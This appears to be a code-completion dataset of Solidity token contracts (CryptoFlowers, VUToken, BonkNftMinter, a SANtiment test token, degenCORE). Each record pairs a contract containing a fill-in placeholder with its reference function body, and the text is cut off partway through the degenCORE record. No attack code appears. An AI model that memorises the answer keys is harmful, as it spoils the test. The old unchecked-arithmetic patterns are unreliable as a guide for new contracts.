bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('getApproved(uint256)')) ^ bytes4(keccak256('setApprovalForAll(address,bool)')) ^ bytes4(keccak256('isApprovedForAll(address,address)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')); */ bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79; /* bytes4(keccak256('exists(uint256)')); */ /** * @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). * @dev Returns true for any standardized interfaces implemented by this contract. * @param _interfaceID bytes4 the interface to check for * @return true for any standardized interfaces implemented by this contract. */ function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721) || (_interfaceID == InterfaceSignature_ERC721Enumerable) || (_interfaceID == InterfaceSignature_ERC721Metadata)); } function implementsERC721() public pure returns (bool) { return true; } }
contract ERC721Token is ERC721, ERC721BasicToken { // Token name string internal name_ = "CryptoFlowers"; // Token symbol string internal symbol_ = "CF"; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint k = length - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function strConcat(string _a, string _b) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } /** * @dev Returns an URI for a given token ID * @dev Throws if the token ID does not exist. May return an empty string. * @notice The user/developper needs to add the tokenID, in the end of URL, to * use the URI and get all details. Ex. www.<apiURL>.com/token/<tokenID> * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); string memory infoUrl; infoUrl = strConcat('https://cryptoflowers.io/v/', uint2str(_tokenId)); return infoUrl; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require (_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length - 1; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * @dev Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require (_index <= totalSupply()); return allTokens[_index]; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } <FILL_FUNCTION> /** * @dev Gets the token name * @return string representing the token name */ function name() public view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() public view returns (string) { return symbol_; } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } bytes4 constant InterfaceSignature_ERC165 = 0x01ffc9a7; /* bytes4(keccak256('supportsInterface(bytes4)')); */ bytes4 constant InterfaceSignature_ERC721Enumerable = 0x780e9d63; /* bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ bytes4(keccak256('tokenByIndex(uint256)')); */ bytes4 constant InterfaceSignature_ERC721Metadata = 0x5b5e139f; /* bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('tokenURI(uint256)')); */ bytes4 constant InterfaceSignature_ERC721 = 0x80ac58cd; /* bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('getApproved(uint256)')) ^ bytes4(keccak256('setApprovalForAll(address,bool)')) ^ bytes4(keccak256('isApprovedForAll(address,address)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')); */ bytes4 public constant InterfaceSignature_ERC721Optional =- 0x4f558e79; /* bytes4(keccak256('exists(uint256)')); */ /** * @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). * @dev Returns true for any standardized interfaces implemented by this contract. * @param _interfaceID bytes4 the interface to check for * @return true for any standardized interfaces implemented by this contract. */ function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721) || (_interfaceID == InterfaceSignature_ERC721Enumerable) || (_interfaceID == InterfaceSignature_ERC721Metadata)); } function implementsERC721() public pure returns (bool) { return true; } }
super.removeTokenFrom(_from, _tokenId); // To prevent a gap in the array, we store the last token in the index of the token to delete, and // then delete the last slot. uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; // This also deletes the contents at the last position of the array ownedTokens[_from].length--; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex;
function removeTokenFrom(address _from, uint256 _tokenId) internal
/** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal
35480
VUToken
massTransfer
contract VUToken is DetailedERC20, BurnableToken, PausableToken { using SafeMath for uint256; uint public constant INITIAL_SUPPLY = 1000000000 * (10**18); /** * @dev Constructor */ function VUToken() public DetailedERC20("VU TOKEN", "VU", 18) { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Function to transfer tokens * @param _recipients The addresses that will receive the tokens. * @param _amounts The list of the amounts of tokens to transfer. * @return A boolean that indicates if the operation was successful. */ function massTransfer(address[] _recipients, uint[] _amounts) external returns (bool) {<FILL_FUNCTION_BODY> } }
contract VUToken is DetailedERC20, BurnableToken, PausableToken { using SafeMath for uint256; uint public constant INITIAL_SUPPLY = 1000000000 * (10**18); /** * @dev Constructor */ function VUToken() public DetailedERC20("VU TOKEN", "VU", 18) { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } <FILL_FUNCTION> }
require(_recipients.length == _amounts.length); for (uint i = 0; i < _recipients.length; i++) { require(transfer(_recipients[i], _amounts[i])); } return true;
function massTransfer(address[] _recipients, uint[] _amounts) external returns (bool)
/** * @dev Function to transfer tokens * @param _recipients The addresses that will receive the tokens. * @param _amounts The list of the amounts of tokens to transfer. * @return A boolean that indicates if the operation was successful. */ function massTransfer(address[] _recipients, uint[] _amounts) external returns (bool)
64711
BonkNftMinter
_forwardBonkTokens
contract BonkNftMinter is ERC721Full, Ownable, Callable { using SafeMath for uint256; // Mapping from token ID to the creator's address. mapping(uint256 => address) private tokenCreators; // Counter for creating token IDs uint256 private idCounter; // BONK ERC20 token IERC20 public bonkToken; // Where to send collected fees address public feeCollector; // BONK fee amount with decimals, for example, 1*10**18 means one BONK uint256 public bonkFee; // Event indicating metadata was updated. event TokenURIUpdated(uint256 indexed _tokenId, string _uri); // Event indicating bonk fee was updated. event BonkFeeUpdated(uint256 _newFee, uint _timestamp); constructor( string memory _name, string memory _symbol, address _bonkToken, address _feeCollector, uint256 _bonkFee ) public ERC721Full(_name, _symbol) { bonkToken = IERC20(_bonkToken); feeCollector = _feeCollector; bonkFee = _bonkFee; } /** * @dev Checks that the token is owned by the sender. * @param _tokenId uint256 ID of the token. */ modifier onlyTokenOwner(uint256 _tokenId) { address owner = ownerOf(_tokenId); require(owner == msg.sender, "must be the owner of the token"); _; } /** * @dev Checks that the caller is BONK token. */ modifier onlyBonkToken() { require(msg.sender == address(bonkToken), "must be BONK token"); _; } /** * @dev callback function that is called by BONK token. Adds new NFT token. Trusted. * @param _from who sent the tokens. * @param _tokens how many tokens were sent. * @param _data extra call data. * @return success. */ function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external onlyBonkToken returns (bool) { if (bonkFee > 0) { uint256 tokensWithTransferFee = _tokens * 100 / 99; // there is 1% fee upon some transfers of BONK require(tokensWithTransferFee >= bonkFee, "not enough tokens"); _forwardBonkTokens(); } _createToken(string(_data), _from); return true; } /** * @dev Adds a new unique token to the supply. * @param _uri string metadata uri associated with the token. */ function addNewToken(string calldata _uri) external { if (bonkFee > 0) { require(bonkToken.transferFrom(msg.sender, address(this), bonkFee), "fee transferFrom failed"); _forwardBonkTokens(); } _createToken(_uri, msg.sender); } /** * @dev Deletes the token with the provided ID. * @param _tokenId uint256 ID of the token. */ function deleteToken(uint256 _tokenId) external onlyTokenOwner(_tokenId) { _burn(msg.sender, _tokenId); } /** * @dev Allows owner of the contract updating the token metadata in case there is a need. * @param _tokenId uint256 ID of the token. * @param _uri string metadata URI. */ function updateTokenMetadata(uint256 _tokenId, string calldata _uri) external onlyOwner { _setTokenURI(_tokenId, _uri); emit TokenURIUpdated(_tokenId, _uri); } /** * @dev change address of BONK token * @param _bonkToken address of ERC20 contract */ function setBonkToken(address _bonkToken) external onlyOwner { bonkToken = IERC20(_bonkToken); } /** * @dev change address of where collected fees are sent * @param _feeCollector address where to send the fees */ function setFeeCollector(address _feeCollector) external onlyOwner { feeCollector = _feeCollector; } /** * @dev change BONK fee * @param _bonkFee new fee in BONK (with decimals) */ function setBonkFee(uint _bonkFee) external onlyOwner { bonkFee = _bonkFee; emit BonkFeeUpdated(_bonkFee, now); } /** * @dev allows withdrawal of ETH in case it was sent by accident * @param _beneficiary address where to send the eth. */ function withdrawEth(address payable _beneficiary) external onlyOwner { _beneficiary.transfer(address(this).balance); } /** * @dev allows withdrawal of ERC20 token in case it was sent by accident * @param _tokenAddress address of ERC20 token. * @param _beneficiary address where to send the tokens. * @param _amount amount to send. */ function withdrawERC20(address _tokenAddress, address _beneficiary, uint _amount) external onlyOwner { IERC20(_tokenAddress).transfer(_beneficiary, _amount); } /** * @dev Gets the current fee in BONK. * @return BONK fee. */ function getBonkFee() public view returns (uint256) { return bonkFee; } /** * @dev Gets the creator of the token. * @param _tokenId uint256 ID of the token. * @return address of the creator. */ function tokenCreator(uint256 _tokenId) public view returns (address) { return tokenCreators[_tokenId]; } /** * @dev Internal function for setting the token's creator. * @param _tokenId uint256 id of the token. * @param _creator address of the creator of the token. */ function _setTokenCreator(uint256 _tokenId, address _creator) internal { tokenCreators[_tokenId] = _creator; } /** * @dev Internal function creating a new token. * @param _uri string metadata uri associated with the token * @param _creator address of the creator of the token. */ function _createToken(string memory _uri, address _creator) internal returns (uint256) { uint256 newId = idCounter; idCounter++; _mint(_creator, newId); _setTokenURI(newId, _uri); _setTokenCreator(newId, _creator); return newId; } /** * @dev Internal function for forwarding collected fees to the fee collector. */ function _forwardBonkTokens() internal {<FILL_FUNCTION_BODY> } }
contract BonkNftMinter is ERC721Full, Ownable, Callable { using SafeMath for uint256; // Mapping from token ID to the creator's address. mapping(uint256 => address) private tokenCreators; // Counter for creating token IDs uint256 private idCounter; // BONK ERC20 token IERC20 public bonkToken; // Where to send collected fees address public feeCollector; // BONK fee amount with decimals, for example, 1*10**18 means one BONK uint256 public bonkFee; // Event indicating metadata was updated. event TokenURIUpdated(uint256 indexed _tokenId, string _uri); // Event indicating bonk fee was updated. event BonkFeeUpdated(uint256 _newFee, uint _timestamp); constructor( string memory _name, string memory _symbol, address _bonkToken, address _feeCollector, uint256 _bonkFee ) public ERC721Full(_name, _symbol) { bonkToken = IERC20(_bonkToken); feeCollector = _feeCollector; bonkFee = _bonkFee; } /** * @dev Checks that the token is owned by the sender. * @param _tokenId uint256 ID of the token. */ modifier onlyTokenOwner(uint256 _tokenId) { address owner = ownerOf(_tokenId); require(owner == msg.sender, "must be the owner of the token"); _; } /** * @dev Checks that the caller is BONK token. */ modifier onlyBonkToken() { require(msg.sender == address(bonkToken), "must be BONK token"); _; } /** * @dev callback function that is called by BONK token. Adds new NFT token. Trusted. * @param _from who sent the tokens. * @param _tokens how many tokens were sent. * @param _data extra call data. * @return success. */ function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external onlyBonkToken returns (bool) { if (bonkFee > 0) { uint256 tokensWithTransferFee = _tokens * 100 / 99; // there is 1% fee upon some transfers of BONK require(tokensWithTransferFee >= bonkFee, "not enough tokens"); _forwardBonkTokens(); } _createToken(string(_data), _from); return true; } /** * @dev Adds a new unique token to the supply. * @param _uri string metadata uri associated with the token. */ function addNewToken(string calldata _uri) external { if (bonkFee > 0) { require(bonkToken.transferFrom(msg.sender, address(this), bonkFee), "fee transferFrom failed"); _forwardBonkTokens(); } _createToken(_uri, msg.sender); } /** * @dev Deletes the token with the provided ID. * @param _tokenId uint256 ID of the token. */ function deleteToken(uint256 _tokenId) external onlyTokenOwner(_tokenId) { _burn(msg.sender, _tokenId); } /** * @dev Allows owner of the contract updating the token metadata in case there is a need. * @param _tokenId uint256 ID of the token. * @param _uri string metadata URI. */ function updateTokenMetadata(uint256 _tokenId, string calldata _uri) external onlyOwner { _setTokenURI(_tokenId, _uri); emit TokenURIUpdated(_tokenId, _uri); } /** * @dev change address of BONK token * @param _bonkToken address of ERC20 contract */ function setBonkToken(address _bonkToken) external onlyOwner { bonkToken = IERC20(_bonkToken); } /** * @dev change address of where collected fees are sent * @param _feeCollector address where to send the fees */ function setFeeCollector(address _feeCollector) external onlyOwner { feeCollector = _feeCollector; } /** * @dev change BONK fee * @param _bonkFee new fee in BONK (with decimals) */ function setBonkFee(uint _bonkFee) external onlyOwner { bonkFee = _bonkFee; emit BonkFeeUpdated(_bonkFee, now); } /** * @dev allows withdrawal of ETH in case it was sent by accident * @param _beneficiary address where to send the eth. */ function withdrawEth(address payable _beneficiary) external onlyOwner { _beneficiary.transfer(address(this).balance); } /** * @dev allows withdrawal of ERC20 token in case it was sent by accident * @param _tokenAddress address of ERC20 token. * @param _beneficiary address where to send the tokens. * @param _amount amount to send. */ function withdrawERC20(address _tokenAddress, address _beneficiary, uint _amount) external onlyOwner { IERC20(_tokenAddress).transfer(_beneficiary, _amount); } /** * @dev Gets the current fee in BONK. * @return BONK fee. */ function getBonkFee() public view returns (uint256) { return bonkFee; } /** * @dev Gets the creator of the token. * @param _tokenId uint256 ID of the token. * @return address of the creator. */ function tokenCreator(uint256 _tokenId) public view returns (address) { return tokenCreators[_tokenId]; } /** * @dev Internal function for setting the token's creator. * @param _tokenId uint256 id of the token. * @param _creator address of the creator of the token. */ function _setTokenCreator(uint256 _tokenId, address _creator) internal { tokenCreators[_tokenId] = _creator; } /** * @dev Internal function creating a new token. * @param _uri string metadata uri associated with the token * @param _creator address of the creator of the token. */ function _createToken(string memory _uri, address _creator) internal returns (uint256) { uint256 newId = idCounter; idCounter++; _mint(_creator, newId); _setTokenURI(newId, _uri); _setTokenCreator(newId, _creator); return newId; } <FILL_FUNCTION> }
uint balance = IERC20(bonkToken).balanceOf(address(this)); require(IERC20(bonkToken).transfer(feeCollector, balance), "fee transfer failed");
function _forwardBonkTokens() internal
/** * @dev Internal function for forwarding collected fees to the fee collector. */ function _forwardBonkTokens() internal
44913
SAN
_fulfillPayment
contract SAN is Owned, ERC20 { string public constant name = "SANtiment TEST token"; string public constant symbol = "SAN.TEST.MAX.1"; uint8 public constant decimals = 15; address CROWDSALE_MINTER = 0x6Be4E8a44C9D22F39DB262cF1A54C1172dA3B864; address public SUBSCRIPTION_MODULE = 0x00000000; address public beneficiary; uint public PLATFORM_FEE_PER_10000 = 1; //0.01% uint public totalOnDeposit; uint public totalInCirculation; ///@dev constructor function SAN() { beneficiary = owner = msg.sender; } // ------------------------------------------------------------------------ // Don't accept ethers // ------------------------------------------------------------------------ function () { throw; } //======== SECTION Configuration: Owner only ======== // ///@notice set beneficiary - the account receiving platform fees. function setBeneficiary(address newBeneficiary) external only(owner) { beneficiary = newBeneficiary; } ///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token. /// detached module can usually manage subscriptions, but all operations changing token balances are disabled. function attachSubscriptionModule(SubscriptionModule subModule) noAnyReentrancy external only(owner) { SUBSCRIPTION_MODULE = subModule; if (address(subModule) > 0) subModule.attachToken(this); } ///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token. function setPlatformFeePer10000(uint newFee) external only(owner) { require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible) PLATFORM_FEE_PER_10000 = newFee; } //======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code // ///@dev used as a default XRateProvider (id==0) by subscription module. ///@notice returns always 1 because exchange rate of the token to itself is always 1. function getRate() returns(uint32 ,uint32) { return (1,1); } function getCode() public returns(string) { return symbol; } //==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support ===== /// ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public onlyTrusted returns(bool success) { success = _from != msg_sender && allowed[_from][msg_sender] >= _value; if (!success) { Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0); } else { success = _fulfillPayment(_from, _to, _value, 0, msg_sender); if (success) { allowed[_from][msg_sender] -= _value; } } return success; } ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success) {<FILL_FUNCTION_BODY> } function _fee(uint _value) internal constant returns (uint fee) { return _value * PLATFORM_FEE_PER_10000 / 10000; } ///@notice used by subscription module to re-create token from returning deposit. ///@dev a subscription module is responsible to correct deposit management. function _mintFromDeposit(address owner, uint amount) public onlyTrusted { balances[owner] += amount; totalOnDeposit -= amount; totalInCirculation += amount; } ///@notice used by subscription module to burn token while creating a new deposit. ///@dev a subscription module is responsible to create and maintain the deposit record. function _burnForDeposit(address owner, uint amount) public onlyTrusted returns (bool success) { if (balances[owner] >= amount) { balances[owner] -= amount; totalOnDeposit += amount; totalInCirculation -= amount; return true; } else { return false; } } //========= Crowdsale Only =============== ///@notice mint new token for given account in crowdsale stage ///@dev allowed only if token not started yet and only for registered minter. ///@dev tokens are become in circulation after token start. function mint(uint amount, address account) onlyCrowdsaleMinter isNotStartedOnly { totalSupply += amount; balances[account]+=amount; } ///@notice start normal operation of the token. No minting is possible after this point. function start() isNotStartedOnly only(owner) { totalInCirculation = totalSupply; isStarted = true; } //========= SECTION: Modifier =============== modifier onlyCrowdsaleMinter() { if (msg.sender != CROWDSALE_MINTER) throw; _; } modifier onlyTrusted() { if (msg.sender != SUBSCRIPTION_MODULE) throw; _; } ///@dev token not started means minting is possible, but usual token operations are not. modifier isNotStartedOnly() { if (isStarted) throw; _; } enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} ///@notice event issued on any fee based payment (made of failed). ///@param subId - related subscription Id if any, or zero otherwise. event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId); }
contract SAN is Owned, ERC20 { string public constant name = "SANtiment TEST token"; string public constant symbol = "SAN.TEST.MAX.1"; uint8 public constant decimals = 15; address CROWDSALE_MINTER = 0x6Be4E8a44C9D22F39DB262cF1A54C1172dA3B864; address public SUBSCRIPTION_MODULE = 0x00000000; address public beneficiary; uint public PLATFORM_FEE_PER_10000 = 1; //0.01% uint public totalOnDeposit; uint public totalInCirculation; ///@dev constructor function SAN() { beneficiary = owner = msg.sender; } // ------------------------------------------------------------------------ // Don't accept ethers // ------------------------------------------------------------------------ function () { throw; } //======== SECTION Configuration: Owner only ======== // ///@notice set beneficiary - the account receiving platform fees. function setBeneficiary(address newBeneficiary) external only(owner) { beneficiary = newBeneficiary; } ///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token. /// detached module can usually manage subscriptions, but all operations changing token balances are disabled. function attachSubscriptionModule(SubscriptionModule subModule) noAnyReentrancy external only(owner) { SUBSCRIPTION_MODULE = subModule; if (address(subModule) > 0) subModule.attachToken(this); } ///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token. function setPlatformFeePer10000(uint newFee) external only(owner) { require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible) PLATFORM_FEE_PER_10000 = newFee; } //======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code // ///@dev used as a default XRateProvider (id==0) by subscription module. ///@notice returns always 1 because exchange rate of the token to itself is always 1. function getRate() returns(uint32 ,uint32) { return (1,1); } function getCode() public returns(string) { return symbol; } //==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support ===== /// ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public onlyTrusted returns(bool success) { success = _from != msg_sender && allowed[_from][msg_sender] >= _value; if (!success) { Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0); } else { success = _fulfillPayment(_from, _to, _value, 0, msg_sender); if (success) { allowed[_from][msg_sender] -= _value; } } return success; } <FILL_FUNCTION> function _fee(uint _value) internal constant returns (uint fee) { return _value * PLATFORM_FEE_PER_10000 / 10000; } ///@notice used by subscription module to re-create token from returning deposit. ///@dev a subscription module is responsible to correct deposit management. function _mintFromDeposit(address owner, uint amount) public onlyTrusted { balances[owner] += amount; totalOnDeposit -= amount; totalInCirculation += amount; } ///@notice used by subscription module to burn token while creating a new deposit. ///@dev a subscription module is responsible to create and maintain the deposit record. function _burnForDeposit(address owner, uint amount) public onlyTrusted returns (bool success) { if (balances[owner] >= amount) { balances[owner] -= amount; totalOnDeposit += amount; totalInCirculation -= amount; return true; } else { return false; } } //========= Crowdsale Only =============== ///@notice mint new token for given account in crowdsale stage ///@dev allowed only if token not started yet and only for registered minter. ///@dev tokens are become in circulation after token start. function mint(uint amount, address account) onlyCrowdsaleMinter isNotStartedOnly { totalSupply += amount; balances[account]+=amount; } ///@notice start normal operation of the token. No minting is possible after this point. function start() isNotStartedOnly only(owner) { totalInCirculation = totalSupply; isStarted = true; } //========= SECTION: Modifier =============== modifier onlyCrowdsaleMinter() { if (msg.sender != CROWDSALE_MINTER) throw; _; } modifier onlyTrusted() { if (msg.sender != SUBSCRIPTION_MODULE) throw; _; } ///@dev token not started means minting is possible, but usual token operations are not. modifier isNotStartedOnly() { if (isStarted) throw; _; } enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} ///@notice event issued on any fee based payment (made of failed). ///@param subId - related subscription Id if any, or zero otherwise. event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId); }
var fee = _fee(_value); assert (fee <= _value); //internal sanity check if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value - fee; balances[beneficiary] += fee; Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId); return true; } else { Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId); return false; }
function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success)
///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success)
22856
degenCORE
_transfer
contract degenCORE is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _taxFee; uint256 private _uniswapSellTaxFee; uint256 private _maxFee; address private _storeAddress; uint256 private _maxTransactionAmount; address private _UNIWethPoolAddress; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 totalSupply, uint256 taxFee, uint256 uniswapSellTaxFee, uint256 maxTransactionAmount) public { _name = name; _symbol = symbol; _decimals = 18; _taxFee = taxFee; _uniswapSellTaxFee = uniswapSellTaxFee; _maxFee = _taxFee >= _uniswapSellTaxFee ? _taxFee : _uniswapSellTaxFee; _maxTransactionAmount = maxTransactionAmount; //_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //main net _UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xc778417E063141139Fce010982780140Aa0cD5Ab, address(this)); //ropsten test net //_UNIWethPoolAddress = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xd0A1E359811322d97991E03f863a0C30C2cF029C, address(this)); //kovan test net _mint(_msgSender(), totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { uint256 sellTaxAmount; if(spender == _UNIWethPoolAddress) { sellTaxAmount = amount.mul(_maxFee).div(100); } _approve(_msgSender(), spender, amount.add(sellTaxAmount)); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - 